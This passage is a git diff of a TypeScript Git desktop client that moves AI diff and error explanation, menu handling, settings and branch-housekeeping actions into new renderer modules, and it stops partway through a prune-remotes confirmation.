{ - try { - await invoke('app.update.download'); - } catch (err) { - showError('Could not download the update', err); - } -} - -/** Restart to update: never resolves on success (the app quits first), so a rejection here always means it was refused (e.g. an operation or AI task in progress). */ -export async function installUpdate(): Promise { - try { - await invoke('app.update.install'); - } catch (err) { - showError('Could not install the update', err); - } -} - -export async function dismissUpdate(version: string): Promise { - await invoke('app.update.dismiss', version); -} - -export function openUpdateNotes(): void { - const s = store.get().updateState; - if (s.status !== 'available' && s.status !== 'downloading' && s.status !== 'ready') return; - openDialog({ kind: 'update-notes', version: s.version, notes: s.notes ?? 'No release notes were provided for this version.', url: s.url }); -} - -// --------------------------------------------------------------------------- -// Menu -// --------------------------------------------------------------------------- - -export async function handleMenuAction(action: string, args?: unknown): Promise { - const s = store.get(); - const repo = s.currentRepo; - const needsRepo = () => { - if (!repo) showToast({ kind: 'info', title: 'Open a repository first' }); - return !!repo; - }; - switch (action) { - case 'new-repository': - return openDialog({ kind: 'new-repo' }); - case 'add-local-repository': - return openDialog({ kind: 'add-repo' }); - case 'clone-repository': - return openDialog({ kind: 'clone' }); - case 'settings': - return openDialog({ kind: 'settings' }); - case 'command-palette': - return openCommandPalette(); - case 'export-settings': - return openDialog({ kind: 'export-settings' }); - case 'import-settings': - return openDialog({ kind: 'import-settings' }); - case 'show-changes': - return setView('changes'); - case 'show-history': - return setView('history'); - case 'show-stashes': - if (needsRepo()) return setView('stashes'); - return; - case 'show-worktrees': - if (needsRepo()) openDialog({ kind: 'worktrees' }); - return; - case 'show-submodules': - if (needsRepo()) openDialog({ kind: 'submodules' }); - return; - case 'show-lfs': - if (needsRepo()) openDialog({ kind: 'lfs' }); - return; - case 'show-health': - if (needsRepo()) return openHealth(); - return; - case 'show-repository-list': - return store.set((st) => ({ popover: st.popover === 'repos' ? null : 'repos' })); - case 'show-branches-list': - if (needsRepo()) store.set((st) => ({ popover: st.popover === 'branches' ? null : 'branches' })); - return; - case 'focus-commit-summary': - setView('changes'); - document.getElementById('commit-summary')?.focus(); - return; - case 'toggle-split-diff': - return updateSettings({ diffViewMode: s.settings?.diffViewMode === 'split' ? 'unified' : 'split' }); - case 'toggle-whitespace': - return updateSettings({ diffHideWhitespace: !s.settings?.diffHideWhitespace }); - case 'toggle-blame': - return toggleBlame(); - case 'zoom-in': - case 'zoom-out': - case 'zoom-reset': - await invoke('app.zoom', action === 'zoom-in' ? 'in' : action === 'zoom-out' ? 'out' : 'reset'); - return; - case 'push': - if (needsRepo()) return pushWithErrorHandling(); - return; - case 'pull': - if (needsRepo()) return pull(); - return; - case 'fetch': - if (needsRepo()) return fetchRemote(); - return; - case 'scan-watched-folders': - return void scanWatchedFolders(); - case 'remove-repository': - if (repo) openDialog({ kind: 'remove-repo', repo }); - return; - case 'view-on-github': - return viewOnGitHub(); - case 'open-in-shell': - if (needsRepo()) return openInShell(); - return; - case 'show-in-folder': - if (needsRepo()) return showInFolder(); - return; - case 'open-in-editor': - if (needsRepo()) return openInEditor(); - return; - case 'create-issue': - if (repo?.github) void openExternal(`${repo.github.url}/issues/new`); - return; - case 'show-issues': - if (needsRepo()) openIssuesDialog(); - return; - case 'show-inbox': - return toggleInboxPanel(); - case 'open-inbox-item': - return openInboxItemById((args as { id: string }).id); - case 'repository-settings': - if (needsRepo()) openDialog({ kind: 'repo-settings' }); - return; - case 'release-notes': - if (needsRepo()) openReleaseNotes(); - return; - case 'split-commits': - if (needsRepo()) openSplitDialog(); - return; - case 'tidy-branch-ai': - if (needsRepo()) tidyBranch(); - return; - case 'new-branch': - if (needsRepo()) openDialog({ kind: 'new-branch' }); - return; - case 'rename-branch': - if (repo && s.status?.branch.name) openDialog({ kind: 'rename-branch', branch: s.status.branch.name }); - return; - case 'delete-branch': { - const current = s.branches.find((b) => b.isCurrent); - if (repo && current) openDialog({ kind: 'delete-branch', branch: current }); - return; - } - case 'discard-all-changes': - if (repo && s.status?.files.length) requestDiscard(s.status.files.map((f) => f.path), true); - return; - case 'stash-all-changes': - if (repo && s.status?.files.length) return stashAll(); - return; - case 'update-from-default': - if (needsRepo()) return updateFromDefaultBranch(); - return; - case 'compare-branch': - if (needsRepo()) openDialog({ kind: 'compare' }); - return; - case 'merge-branch': - if (needsRepo()) openDialog({ kind: 'merge', squash: false }); - return; - case 'squash-merge-branch': - if (needsRepo()) openDialog({ kind: 'merge', squash: true }); - return; - case 'rebase-branch': - if (needsRepo()) openDialog({ kind: 'rebase' }); - return; - case 'compare-on-github': - return compareOnGitHub(); - case 'view-pull-request': - if (s.prs.current) void openExternal(s.prs.current.url); - else showToast({ kind: 'info', title: 'No pull request for this branch' }); - return; - case 'create-pull-request': - if (needsRepo()) return openPullRequestFlow(); - return; - case 'review-branch': - if (needsRepo()) reviewBranch(); - return; - case 'review-pull-request': - if (needsRepo()) reviewCurrentPullRequest(); - return; - case 'draft-pull-request-ai': - if (needsRepo()) return draftPullRequest(); - return; - case 'keyboard-shortcuts': - return openDialog({ kind: 'shortcuts' }); - case 'show-logs': { - const info = await invoke('app.info'); - await invoke('app.showItemInFolder', info.logPath); - return; - } - case 'about': - return openDialog({ kind: 'about' }); - case 'check-for-updates': - return checkForUpdates(); - case 'find': - if (s.view === 'history') document.getElementById('history-search')?.focus(); - else document.getElementById('changes-filter')?.focus(); - return; - case 'search-history-selection': { - const text = window.getSelection()?.toString() ?? ''; - if (!needsRepo()) return; - if (text.trim()) searchHistoryForSelection(text); - else showToast({ kind: 'info', title: 'Select some text in the diff first' }); - return; - } - default: - return; - } -} - -// --------------------------------------------------------------------------- -// AI diff explanation -// --------------------------------------------------------------------------- - -/** True when the AI provider is enabled; entry points across the app are hidden (not disabled) when it is not. */ -export function aiExplainAvailable(): boolean { - return (store.get().settings?.ai.provider ?? 'disabled') !== 'disabled'; -} - -/** Source (commit/working tree/stash) implied by the tab currently showing a diff, or null when explaining is not meaningful there (e.g. the AI review view). */ -function currentExplainSource(): ExplainSource | null { - const s = store.get(); - if (s.review.open) return null; - if (s.view === 'changes') return { kind: 'working' }; - if (s.view === 'history' && s.history.selectedShas.length === 1) return { kind: 'commit', sha: s.history.selectedShas[0] }; - if (s.view === 'stashes' && s.stashesView.selectedSha) { - const stash = s.stashes.find((st) => st.sha === s.stashesView.selectedSha); - if (stash) return { kind: 'stash', ref: stash.sha }; - } - return null; -} - -/** Path currently shown in the diff pane for the active tab, if any. */ -function currentExplainPath(): string | null { - const s = store.get(); - if (s.view === 'changes') return s.changes.selectedPaths.length === 1 ? s.changes.selectedPaths[0] : null; - if (s.view === 'history') return s.history.selectedFile; - if (s.view === 'stashes') return s.stashesView.selectedFile; - return null; -} - -async function runExplain(target: ExplainTarget, label: string): Promise { - const repo = store.get().currentRepo; - if (!repo) return; - patchExplain({ open: true, panelCollapsed: false, target, label, loading: true, error: null, result: null, followUps: [], followUpDraft: '', followUpError: null }); - try { - const result = await invoke('ai.explain', repo.path, target); - if (store.get().explain.target !== target) return; // superseded by a newer request - patchExplain({ result, loading: false, error: null }); - } catch (err) { - if (store.get().explain.target !== target) return; - if (err instanceof ApiError && err.code === 'cancelled') { - patchExplain({ loading: false }); - return; - } - patchExplain({ loading: false, error: errorMessage(err) }); - } -} - -export function explainCommit(sha: string): void { - void runExplain({ kind: 'commit', sha }, `Commit ${sha.slice(0, 7)}`); -} - -/** Explains the file currently shown in the diff pane for the active tab (Changes or History). */ -export function explainCurrentFile(): void { - const source = currentExplainSource(); - const path = currentExplainPath(); - if (!source || !path) return; - void runExplain({ kind: 'file', source, path }, path); -} - -/** Explains a range of new-side lines [startLine, endLine] within hunk `hunkIndex` of the file currently shown in the diff pane. */ -export function explainSelectedLines(path: string, hunkIndex: number, startLine: number, endLine: number): void { - const source = currentExplainSource(); - if (!source) return; - const label = `${path}:${startLine}${endLine !== startLine ? `-${endLine}` : ''}`; - void runExplain({ kind: 'range', source, path, hunkIndex, startLine, endLine }, label); -} - -export function retryExplain(): void { - const { target, label } = store.get().explain; - if (target) void runExplain(target, label ?? ''); -} - -export function cancelExplain(): void { - void invoke('ai.cancel'); - patchExplain({ loading: false, followUpLoading: false }); -} - -export function closeExplainPanel(): void { - patchExplain({ ...initialExplain, width: store.get().explain.width }); -} - -export function toggleExplainPanelCollapsed(): void { - patchExplain({ panelCollapsed: !store.get().explain.panelCollapsed }); -} - -export function setExplainPanelWidth(width: number): void { - patchExplain({ width: saveExplainPanelWidth(width) }); -} - -export function setExplainFollowUpDraft(text: string): void { - patchExplain({ followUpDraft: text }); -} - -export async function askExplainFollowUp(): Promise { - const s = store.get(); - const repo = s.currentRepo; - const { target, followUps, followUpDraft } = s.explain; - const question = followUpDraft.trim(); - if (!repo || !target || !question || followUps.length >= EXPLAIN_FOLLOWUP_LIMIT) return; - patchExplain({ followUpLoading: true, followUpError: null }); - try { - const answer = await invoke('ai.explain.followUp', repo.path, target, followUps, question); - if (store.get().explain.target !== target) return; - patchExplain((e) => ({ followUps: [...e.followUps, { question, answer }], followUpLoading: false, followUpDraft: '' })); - } catch (err) { - if (store.get().explain.target !== target) return; - patchExplain({ followUpLoading: false, followUpError: errorMessage(err) }); - } -} - -export function copyExplanationMarkdown(): void { - const { result, target } = store.get().explain; - if (!result || !target) return; - void copyToClipboard(explanationToMarkdown(result, target), 'Explanation copied'); -} - -/** Clicking an explanation reference: switches to that file in the active tab's file list when needed, then asks the text diff to scroll to the line once it is showing that file. */ -export function focusExplainReference(path: string, line: number | null): void { - const s = store.get(); - if (s.view === 'history' && s.history.selectedFile !== path && (s.history.details?.files.some((f) => f.path === path) ?? false)) selectCommitFile(path); - else if (s.view === 'changes' && s.changes.selectedPaths[0] !== path && (s.status?.files.some((f) => f.path === path) ?? false)) selectWorkingFile(path); - else if (s.view === 'stashes' && s.stashesView.selectedFile !== path && s.stashesView.files.some((f) => f.path === path)) selectStashViewFile(path); - // Set after the switch: loadDiff clears revealLine when the shown file changes. - if (line !== null) patchDiff({ revealLine: line }); -} - -export function clearDiffReveal(): void { - patchDiff({ revealLine: null }); -} - -// --------------------------------------------------------------------------- -// AI error explanation -// --------------------------------------------------------------------------- - -/** Resets the "Explain with AI" section; the error dialog calls this once on mount so a previous error's stale result never shows for a new one, even one with the same code. */ -export function resetErrorExplanation(): void { - patchErrorExplain(initialErrorExplain); -} - -export async function requestErrorExplanation(error: GitErrorInfo, retryable: boolean): Promise { - const repo = store.get().currentRepo; - patchErrorExplain({ forCode: error.code, loading: true, error: null, result: null, feedbackGiven: false }); - try { - const result = await invoke('ai.explainError', repo?.path ?? null, error, retryable); - if (store.get().errorExplain.forCode !== error.code) return; // superseded (dialog closed/reopened, or Retry ran and changed the error) - patchErrorExplain({ loading: false, result }); - } catch (err) { - if (store.get().errorExplain.forCode !== error.code) return; - patchErrorExplain({ loading: false, error: errorMessage(err) }); - } -} - -export function cancelErrorExplanation(): void { - void invoke('ai.cancel'); - patchErrorExplain({ loading: false }); -} - -/** Local-only feedback counter; never sent anywhere (see AiErrorFeedback in store.ts). */ -export function recordErrorExplanationFeedback(helpful: boolean): void { - if (store.get().errorExplain.feedbackGiven) return; - store.set((s) => ({ aiErrorFeedback: { helpful: s.aiErrorFeedback.helpful + (helpful ? 1 : 0), notHelpful: s.aiErrorFeedback.notHelpful + (helpful ? 0 : 1) } })); - patchErrorExplain({ feedbackGiven: true }); -} - -async function runErrorFixAction(action: NonNullable, repo: RepositoryInfo | null, status: RepositoryStatus | null): Promise { - switch (action) { - case 'fetch': - await fetchRemote(); - return; - case 'pull': - await pull(); - return; - case 'fetch-and-pull': - await fetchRemote(); - await pull(); - return; - case 'push-set-upstream': - case 'force-push-with-lease': - // Both map onto the same smart push: it already sets upstream when the branch has none, and - // opens the normal force-push confirmation when the branch has diverged from its upstream. - await push(); - return; - case 'stash-and-retry': - await stashAll(); - return; - case 'discard-and-retry': - if (status) requestDiscard(status.files.map((f) => f.path), true); - return; - case 'remove-lock-file': - if (repo) await requestRemoveLockFile(repo.path); - return; - case 'abort-merge': - case 'abort-rebase': - case 'abort-cherry-pick': - case 'abort-revert': - await abortOperation(); - return; - case 'continue-rebase': - await continueOperation(); - return; - case 'open-sign-in': - openDialog({ kind: 'sign-in' }); - return; - case 'open-remote-settings': - if (repo) openDialog({ kind: 'repo-settings', tab: 'remote' }); - return; - case 'open-identity-settings': - if (repo) openDialog({ kind: 'repo-settings', tab: 'identity' }); - return; - case 'rename-branch': - if (status?.branch.name) openDialog({ kind: 'rename-branch', branch: status.branch.name }); - return; - case 'open-in-terminal': - if (repo) await openInShellAt(repo.path); - return; - } -} - -/** - * Applies an AI-suggested action fix by dispatching to the same action - * functions the menus use, so every existing confirmation (discard, force - * push, sign-in…) still applies. Closes the error dialog first. Copy-only - * fixes (no `action`) are handled directly by the dialog (copy / Run in - * terminal) and never reach this function. `retry` re-runs the operation - * that originally failed and is only invoked when the fix ran to completion - * without opening a further dialog of its own (a still-open confirmation - * means the fix itself is not done yet). - */ -export async function applyErrorFix(fix: ErrorFix, retry?: () => void): Promise { - if (!fix.action) return; - const repo = store.get().currentRepo; - const status = store.get().status; - closeAllDialogs(); - await runErrorFixAction(fix.action, repo, status); - if (fix.retryAfter && retry && !store.get().dialog) retry(); -} - -/** The remove-lock-file fix's confirmation; the actual safety guard (no running git process, lock at least 10s old) is enforced in the main process and reported back here. */ -export async function requestRemoveLockFile(repoPath: string): Promise { - openDialog({ - kind: 'confirm', - title: 'Remove stale lock file?', - message: 'This deletes .git/index.lock. Only do this when you are sure no other Git process — including this app, mid-operation — is using the repository right now.', - confirmLabel: 'Remove lock file', - danger: true, - onConfirm: async () => { - try { - const result = await invoke('git.removeLockFile', repoPath); - if (result.removed) { - showToast({ kind: 'success', title: 'Lock file removed' }); - await refreshStatus(); - } else { - showToast({ kind: 'warning', title: 'Could not remove the lock file', message: result.reason ?? undefined }); - } - } catch (err) { - showError('Could not remove the lock file', err); - } - }, - }); -} - -export function dialogOpen(): DialogState | null { - return store.get().dialog; -} - -export function isApiError(err: unknown): err is ApiError { - return err instanceof ApiError; -} - -export { closeDialog, openDialog, showToast, closeAllDialogs }; -export type { Commit }; diff --git a/src/renderer/src/state/actions/ai.ts b/src/renderer/src/state/actions/ai.ts new file mode 100644 index 0000000..491c276 --- /dev/null +++ b/src/renderer/src/state/actions/ai.ts @@ -0,0 +1,284 @@ +import type { ErrorFix, ExplainSource, ExplainTarget, GitErrorInfo, RepositoryInfo, RepositoryStatus } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; +import { EXPLAIN_FOLLOWUP_LIMIT } from '@shared/types'; +import { explanationToMarkdown } from '@shared/util'; +import { ApiError, errorMessage, invoke } from '../../api'; +import { closeAllDialogs, initialErrorExplain, initialExplain, openDialog, patchDiff, patchErrorExplain, patchExplain, saveExplainPanelWidth, showToast, store, type DialogState } from '../store'; +import { showError } from './core'; +import { refreshStatus } from './repo'; +import { abortOperation, continueOperation } from './conflicts'; +import { selectCommitFile, selectWorkingFile } from './view'; +import { fetchRemote, openInShellAt, pull, push } from './branches'; +import { requestDiscard, selectStashViewFile, stashAll } from './stash'; +import { copyToClipboard } from './app'; + +// --------------------------------------------------------------------------- +// AI diff explanation +// --------------------------------------------------------------------------- + +/** True when the AI provider is enabled and the current repository has not opted out; entry points across the app are hidden (not disabled) when it is not. */ +export function aiExplainAvailable(): boolean { + return aiEnabled(store.get().settings, store.get().currentRepo); +} + +/** Source (commit/working tree/stash) implied by the tab currently showing a diff, or null when explaining is not meaningful there (e.g. the AI review view). */ +function currentExplainSource(): ExplainSource | null { + const s = store.get(); + if (s.review.open) return null; + if (s.view === 'changes') return { kind: 'working' }; + if (s.view === 'history' && s.history.selectedShas.length === 1) return { kind: 'commit', sha: s.history.selectedShas[0] }; + if (s.view === 'stashes' && s.stashesView.selectedSha) { + const stash = s.stashes.find((st) => st.sha === s.stashesView.selectedSha); + if (stash) return { kind: 'stash', ref: stash.sha }; + } + return null; +} + +/** Path currently shown in the diff pane for the active tab, if any. */ +function currentExplainPath(): string | null { + const s = store.get(); + if (s.view === 'changes') return s.changes.selectedPaths.length === 1 ? s.changes.selectedPaths[0] : null; + if (s.view === 'history') return s.history.selectedFile; + if (s.view === 'stashes') return s.stashesView.selectedFile; + return null; +} + +async function runExplain(target: ExplainTarget, label: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + patchExplain({ open: true, panelCollapsed: false, target, label, loading: true, error: null, result: null, followUps: [], followUpDraft: '', followUpError: null }); + try { + const result = await invoke('ai.explain', repo.path, target); + if (store.get().explain.target !== target) return; // superseded by a newer request + patchExplain({ result, loading: false, error: null }); + } catch (err) { + if (store.get().explain.target !== target) return; + if (err instanceof ApiError && err.code === 'cancelled') { + patchExplain({ loading: false }); + return; + } + patchExplain({ loading: false, error: errorMessage(err) }); + } +} + +export function explainCommit(sha: string): void { + void runExplain({ kind: 'commit', sha }, `Commit ${sha.slice(0, 7)}`); +} + +/** Explains the file currently shown in the diff pane for the active tab (Changes or History). */ +export function explainCurrentFile(): void { + const source = currentExplainSource(); + const path = currentExplainPath(); + if (!source || !path) return; + void runExplain({ kind: 'file', source, path }, path); +} + +/** Explains a range of new-side lines [startLine, endLine] within hunk `hunkIndex` of the file currently shown in the diff pane. */ +export function explainSelectedLines(path: string, hunkIndex: number, startLine: number, endLine: number): void { + const source = currentExplainSource(); + if (!source) return; + const label = `${path}:${startLine}${endLine !== startLine ? `-${endLine}` : ''}`; + void runExplain({ kind: 'range', source, path, hunkIndex, startLine, endLine }, label); +} + +export function retryExplain(): void { + const { target, label } = store.get().explain; + if (target) void runExplain(target, label ?? ''); +} + +export function cancelExplain(): void { + void invoke('ai.cancel', 'explain'); + patchExplain({ loading: false, followUpLoading: false }); +} + +export function closeExplainPanel(): void { + patchExplain({ ...initialExplain, width: store.get().explain.width }); +} + +export function toggleExplainPanelCollapsed(): void { + patchExplain({ panelCollapsed: !store.get().explain.panelCollapsed }); +} + +export function setExplainPanelWidth(width: number): void { + patchExplain({ width: saveExplainPanelWidth(width) }); +} + +export function setExplainFollowUpDraft(text: string): void { + patchExplain({ followUpDraft: text }); +} + +export async function askExplainFollowUp(): Promise { + const s = store.get(); + const repo = s.currentRepo; + const { target, followUps, followUpDraft } = s.explain; + const question = followUpDraft.trim(); + if (!repo || !target || !question || followUps.length >= EXPLAIN_FOLLOWUP_LIMIT) return; + patchExplain({ followUpLoading: true, followUpError: null }); + try { + const answer = await invoke('ai.explain.followUp', repo.path, target, followUps, question); + if (store.get().explain.target !== target) return; + patchExplain((e) => ({ followUps: [...e.followUps, { question, answer }], followUpLoading: false, followUpDraft: '' })); + } catch (err) { + if (store.get().explain.target !== target) return; + patchExplain({ followUpLoading: false, followUpError: errorMessage(err) }); + } +} + +export function copyExplanationMarkdown(): void { + const { result, target } = store.get().explain; + if (!result || !target) return; + void copyToClipboard(explanationToMarkdown(result, target), 'Explanation copied'); +} + +/** Clicking an explanation reference: switches to that file in the active tab's file list when needed, then asks the text diff to scroll to the line once it is showing that file. */ +export function focusExplainReference(path: string, line: number | null): void { + const s = store.get(); + if (s.view === 'history' && s.history.selectedFile !== path && (s.history.details?.files.some((f) => f.path === path) ?? false)) selectCommitFile(path); + else if (s.view === 'changes' && s.changes.selectedPaths[0] !== path && (s.status?.files.some((f) => f.path === path) ?? false)) selectWorkingFile(path); + else if (s.view === 'stashes' && s.stashesView.selectedFile !== path && s.stashesView.files.some((f) => f.path === path)) selectStashViewFile(path); + // Set after the switch: loadDiff clears revealLine when the shown file changes. + if (line !== null) patchDiff({ revealLine: line }); +} + +export function clearDiffReveal(): void { + patchDiff({ revealLine: null }); +} + +// --------------------------------------------------------------------------- +// AI error explanation +// --------------------------------------------------------------------------- + +/** Resets the "Explain with AI" section; the error dialog calls this once on mount so a previous error's stale result never shows for a new one, even one with the same code. */ +export function resetErrorExplanation(): void { + patchErrorExplain(initialErrorExplain); +} + +export async function requestErrorExplanation(error: GitErrorInfo, retryable: boolean): Promise { + const repo = store.get().currentRepo; + patchErrorExplain({ forCode: error.code, loading: true, error: null, result: null, feedbackGiven: false }); + try { + const result = await invoke('ai.explainError', repo?.path ?? null, error, retryable); + if (store.get().errorExplain.forCode !== error.code) return; // superseded (dialog closed/reopened, or Retry ran and changed the error) + patchErrorExplain({ loading: false, result }); + } catch (err) { + if (store.get().errorExplain.forCode !== error.code) return; + patchErrorExplain({ loading: false, error: errorMessage(err) }); + } +} + +export function cancelErrorExplanation(): void { + void invoke('ai.cancel', 'errorExplain'); + patchErrorExplain({ loading: false }); +} + +/** Local-only feedback counter; never sent anywhere (see AiErrorFeedback in store.ts). */ +export function recordErrorExplanationFeedback(helpful: boolean): void { + if (store.get().errorExplain.feedbackGiven) return; + store.set((s) => ({ aiErrorFeedback: { helpful: s.aiErrorFeedback.helpful + (helpful ? 1 : 0), notHelpful: s.aiErrorFeedback.notHelpful + (helpful ? 0 : 1) } })); + patchErrorExplain({ feedbackGiven: true }); +} + +async function runErrorFixAction(action: NonNullable, repo: RepositoryInfo | null, status: RepositoryStatus | null): Promise { + switch (action) { + case 'fetch': + await fetchRemote(); + return; + case 'pull': + await pull(); + return; + case 'fetch-and-pull': + await fetchRemote(); + await pull(); + return; + case 'push-set-upstream': + case 'force-push-with-lease': + // Both map onto the same smart push: it already sets upstream when the branch has none, and + // opens the normal force-push confirmation when the branch has diverged from its upstream. + await push(); + return; + case 'stash-and-retry': + await stashAll(); + return; + case 'discard-and-retry': + if (status) requestDiscard(status.files.map((f) => f.path), true); + return; + case 'remove-lock-file': + if (repo) await requestRemoveLockFile(repo.path); + return; + case 'abort-merge': + case 'abort-rebase': + case 'abort-cherry-pick': + case 'abort-revert': + await abortOperation(); + return; + case 'continue-rebase': + await continueOperation(); + return; + case 'open-sign-in': + openDialog({ kind: 'sign-in' }); + return; + case 'open-remote-settings': + if (repo) openDialog({ kind: 'repo-settings', tab: 'remote' }); + return; + case 'open-identity-settings': + if (repo) openDialog({ kind: 'repo-settings', tab: 'identity' }); + return; + case 'rename-branch': + if (status?.branch.name) openDialog({ kind: 'rename-branch', branch: status.branch.name }); + return; + case 'open-in-terminal': + if (repo) await openInShellAt(repo.path); + return; + } +} + +/** + * Applies an AI-suggested action fix by dispatching to the same action + * functions the menus use, so every existing confirmation (discard, force + * push, sign-in…) still applies. Closes the error dialog first. Copy-only + * fixes (no `action`) are handled directly by the dialog (copy / Run in + * terminal) and never reach this function. `retry` re-runs the operation + * that originally failed and is only invoked when the fix ran to completion + * without opening a further dialog of its own (a still-open confirmation + * means the fix itself is not done yet). + */ +export async function applyErrorFix(fix: ErrorFix, retry?: () => void): Promise { + if (!fix.action) return; + const repo = store.get().currentRepo; + const status = store.get().status; + closeAllDialogs(); + await runErrorFixAction(fix.action, repo, status); + if (fix.retryAfter && retry && !store.get().dialog) retry(); +} + +/** The remove-lock-file fix's confirmation; the actual safety guard (no running git process, lock at least 10s old) is enforced in the main process and reported back here. */ +export async function requestRemoveLockFile(repoPath: string): Promise { + openDialog({ + kind: 'confirm', + title: 'Remove stale lock file?', + message: 'This deletes .git/index.lock. Only do this when you are sure no other Git process — including this app, mid-operation — is using the repository right now.', + confirmLabel: 'Remove lock file', + danger: true, + onConfirm: async () => { + try { + const result = await invoke('git.removeLockFile', repoPath); + if (result.removed) { + showToast({ kind: 'success', title: 'Lock file removed' }); + await refreshStatus(); + } else { + showToast({ kind: 'warning', title: 'Could not remove the lock file', message: result.reason ?? undefined }); + } + } catch (err) { + showError('Could not remove the lock file', err); + } + }, + }); +} + +export function dialogOpen(): DialogState | null { + return store.get().dialog; +} + +export function isApiError(err: unknown): err is ApiError { + return err instanceof ApiError; +} diff --git a/src/renderer/src/state/actions/app.ts b/src/renderer/src/state/actions/app.ts new file mode 100644 index 0000000..a20c718 --- /dev/null +++ b/src/renderer/src/state/actions/app.ts @@ -0,0 +1,319 @@ +import type { BranchDeleteResult, RepoWork, StaleBranch, AppSettings, UpdateState } from '@shared/types'; +import { errorMessage, invoke } from '../../api'; +import { openDialog, showToast, store } from '../store'; +import { showError } from './core'; +import { openRepository } from './repo'; +import { refreshBranches } from './conflicts'; +import { loadDiff, loadHistory, setView } from './view'; +import { checkoutBranch } from './branches'; +import { openExternal } from './github'; +import { applyTheme } from './shared'; + +// --------------------------------------------------------------------------- +// Settings +// --------------------------------------------------------------------------- + +export async function updateSettings(patch: Partial): Promise { + try { + const settings = await invoke('app.settings.set', patch); + store.set({ settings }); + applyTheme(settings, store.get().dark); + if (patch.diffHideWhitespace !== undefined) void loadDiff(true); + if (patch.historyGraph !== undefined) void loadHistory(true); + if (patch.blameIgnoreWhitespace !== undefined && store.get().diff.blameOn) void loadDiff(true); + } catch (err) { + showError('Could not save settings', err); + } +} + +// --------------------------------------------------------------------------- +// External +// --------------------------------------------------------------------------- + +export async function openInEditor(filePath: string | null = null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openInEditor', repo.path, filePath); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open editor', message: errorMessage(err), action: { label: 'Settings', onClick: () => openDialog({ kind: 'settings', tab: 'integrations' }) } }); + } +} + +export async function openInShell(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openInShell', repo.path); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open terminal', message: errorMessage(err), action: { label: 'Settings', onClick: () => openDialog({ kind: 'settings', tab: 'integrations' }) } }); + } +} + +export async function openDiffTool(path: string, source: { kind: 'working' } | { kind: 'commit'; sha: string }): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openDiffTool', repo.path, path, source); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open diff tool', message: errorMessage(err) }); + } +} + +/** The merge tool refreshes repo state itself when it exits (main sends `repo.changed`). */ +export async function openMergeTool(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openMergeTool', repo.path, path); + showToast({ kind: 'info', title: 'Merge tool started', message: 'Save and close it to pick up the result.' }); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open merge tool', message: errorMessage(err) }); + } +} + +export async function showInFolder(filePath: string | null = null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + if (filePath) { + const full = await invoke('app.joinPath', repo.path, ...filePath.split('/')); + await invoke('app.showItemInFolder', full); + } else { + await invoke('app.openPath', repo.path); + } +} + +export async function copyToClipboard(text: string, label = 'Copied'): Promise { + await invoke('app.clipboard.write', text); + showToast({ kind: 'info', title: label }, 1500); +} + +// --------------------------------------------------------------------------- +// Repository health +// --------------------------------------------------------------------------- + +export function openHealth(): void { + if (!store.get().currentRepo) { + showToast({ kind: 'info', title: 'Open a repository first' }); + return; + } + setView('health'); +} + +/** Fetches unpushed work across every repository on disk, for the Welcome screen card and (opt-in) the repository list's warning dot. Best-effort: failures leave the previous data in place. */ +export async function loadWork(): Promise { + try { + const work = await invoke('repos.work'); + store.set({ work, workError: null }); + } catch (err) { + store.set({ workError: errorMessage(err) }); + } +} + +/** Opens the repository a work entry refers to, optionally checking out one of its branches (used by the Unpushed work card and the Welcome screen). */ +export async function openRepoWorkEntry(work: RepoWork, branch?: string): Promise { + const repo = store.get().repos.find((r) => r.id === work.repoId); + if (!repo) return; + await openRepository(repo); + if (branch) { + const target = store.get().branches.find((b) => b.kind === 'local' && b.name === branch); + if (target && !target.isCurrent) await checkoutBranch(target); + } +} + +export function openBulkDeleteBranches(branches: StaleBranch[]): void { + if (!branches.some((b) => !b.protected)) { + showToast({ kind: 'info', title: 'Nothing to delete', message: 'The current, default and protected branches cannot be deleted here.' }); + return; + } + openDialog({ kind: 'bulk-delete-branches', branches }); +} + +export async function bulkDeleteStaleBranches(names: string[], deleteRemote: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo || !names.length) return null; + try { + const result = await invoke('git.branch.deleteMany', repo.path, names, deleteRemote); + await refreshBranches(); + if (result.deleted.length) { + showToast( + { + kind: result.failed.length ? 'warning' : 'success', + title: `Deleted ${result.deleted.length} branch${result.deleted.length === 1 ? '' : 'es'}`, + message: result.failed.length ? `${result.failed.length} could not be deleted: ${result.failed.map((f) => f.name).join(', ')}` : undefined, + action: { label: 'Undo', onClick: () => void undoBulkDeleteBranches(result.deleted) }, + }, + 12000, + ); + } else if (result.failed.length) { + showToast({ kind: 'error', title: 'Could not delete the selected branches', message: result.failed.map((f) => `${f.name}: ${f.message}`).join('\n') }); + } + return result; + } catch (err) { + showError('Could not delete branches', err); + return null; + } +} + +/** Recreates locally deleted branches at their recorded tip SHAs (git keeps the objects reachable through the reflog until it next expires, so this is safe soon after deletion). */ +export async function undoBulkDeleteBranches(deleted: { name: string; sha: string }[]): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + let restored = 0; + for (const { name, sha } of deleted) { + try { + await invoke('git.branch.create', repo.path, name, sha, false, 'ask'); + restored++; + } catch (err) { + showError(`Could not restore ${name}`, err); + } + } + if (restored) { + await refreshBranches(); + showToast({ kind: 'success', title: restored === 1 ? 'Branch restored' : `${restored} branches restored` }); + } +} + +/** `onDone` is called after a successful run, so the Housekeeping card can reload its numbers. */ +export function confirmPruneRemotes(onDone?: () => void): void { + const repo = store.get().currentRepo; + if (!repo) return; + const remotes = store.get().remotes; + if (!remotes.length) { + showToast({ kind: 'info', title: 'No remotes configured' }); + return; + } + openDialog({ + kind: 'confirm', + title: 'Prune remote-tracking branches?', + message: `Removes local refs (e.g. ${remotes[0].name}/old-feature) for branches that no longer exist on ${remotes.map((r) => r.name).join(', ')}. This never touches your local branches.`, + confirmLabel: 'Continue', + onConfirm: () => + openDialog({ + kind: 'confirm', + title: 'Confirm prune', + message: 'Local remote-tracking branches the remote no longer has will be deleted. This cannot be undone (your local branches are never affected).', + confirmLabel: 'Prune remotes', + 